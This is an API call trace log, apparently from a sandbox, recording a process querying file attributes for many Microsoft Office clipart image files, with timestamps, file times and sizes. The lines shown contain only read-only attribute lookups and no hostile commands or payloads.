	[0051.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdb88 | out: lpFileInformation=0x124cdb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b)) returned 1
	[0051.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdbd8 | out: lpFileInformation=0x124cdbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68)) returned 1
	[0051.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdc28 | out: lpFileInformation=0x124cdc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5)) returned 1
	[0051.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdc78 | out: lpFileInformation=0x124cdc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdcc8 | out: lpFileInformation=0x124cdcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86)) returned 1
	[0051.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdd18 | out: lpFileInformation=0x124cdd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b)) returned 1
	[0051.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdd68 | out: lpFileInformation=0x124cdd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84)) returned 1
	[0051.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cddb8 | out: lpFileInformation=0x124cddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090)) returned 1
	[0051.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cde08 | out: lpFileInformation=0x124cde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90)) returned 1
	[0051.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cde58 | out: lpFileInformation=0x124cde58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795)) returned 1
	[0051.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdea8 | out: lpFileInformation=0x124cdea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118)) returned 1
	[0051.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdef8 | out: lpFileInformation=0x124cdef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7)) returned 1
	[0051.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdf48 | out: lpFileInformation=0x124cdf48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40)) returned 1
	[0051.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cdf98 | out: lpFileInformation=0x124cdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382)) returned 1
	[0051.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae008 | out: lpFileInformation=0x123ae008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08)) returned 1
	[0051.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae058 | out: lpFileInformation=0x123ae058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8)) returned 1
	[0051.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae0a8 | out: lpFileInformation=0x123ae0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8)) returned 1
	[0051.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae0f8 | out: lpFileInformation=0x123ae0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8)) returned 1
	[0051.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae148 | out: lpFileInformation=0x123ae148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408)) returned 1
	[0051.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae198 | out: lpFileInformation=0x123ae198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408)) returned 1
	[0051.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae1e8 | out: lpFileInformation=0x123ae1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8)) returned 1
	[0051.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae238 | out: lpFileInformation=0x123ae238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2)) returned 1
	[0051.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae288 | out: lpFileInformation=0x123ae288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7)) returned 1
	[0051.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae2d8 | out: lpFileInformation=0x123ae2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438)) returned 1
	[0051.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), fInfoLevelId=0x0, lpFileInformation=0x123ae328 | out: lpFileInformation=0x123ae328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2)) returned 1
	[0051.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae378 | out: lpFileInformation=0x123ae378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45)) returned 1
	[0051.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae3c8 | out: lpFileInformation=0x123ae3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76)) returned 1
	[0051.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123ae418 | out: lpFileInformation=0x123ae418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016)) returned 1
	[0051.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), fInfoLevelId=0x0, lpFileInformation=0x123ae468 | out: lpFileInformation=0x123ae468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2)) returned 1
	[0051.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae4b8 | out: lpFileInformation=0x123ae4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af)) returned 1
	[0051.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae508 | out: lpFileInformation=0x123ae508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450)) returned 1
	[0051.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae558 | out: lpFileInformation=0x123ae558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343)) returned 1
	[0051.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae5a8 | out: lpFileInformation=0x123ae5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445)) returned 1
	[0051.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae5f8 | out: lpFileInformation=0x123ae5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2)) returned 1
	[0051.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae648 | out: lpFileInformation=0x123ae648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f)) returned 1
	[0051.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123ae698 | out: lpFileInformation=0x123ae698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae)) returned 1
	[0051.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae6e8 | out: lpFileInformation=0x123ae6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6)) returned 1
	[0051.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae738 | out: lpFileInformation=0x123ae738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac)) returned 1
	[0051.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae788 | out: lpFileInformation=0x123ae788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6)) returned 1
	[0051.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae7d8 | out: lpFileInformation=0x123ae7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a)) returned 1
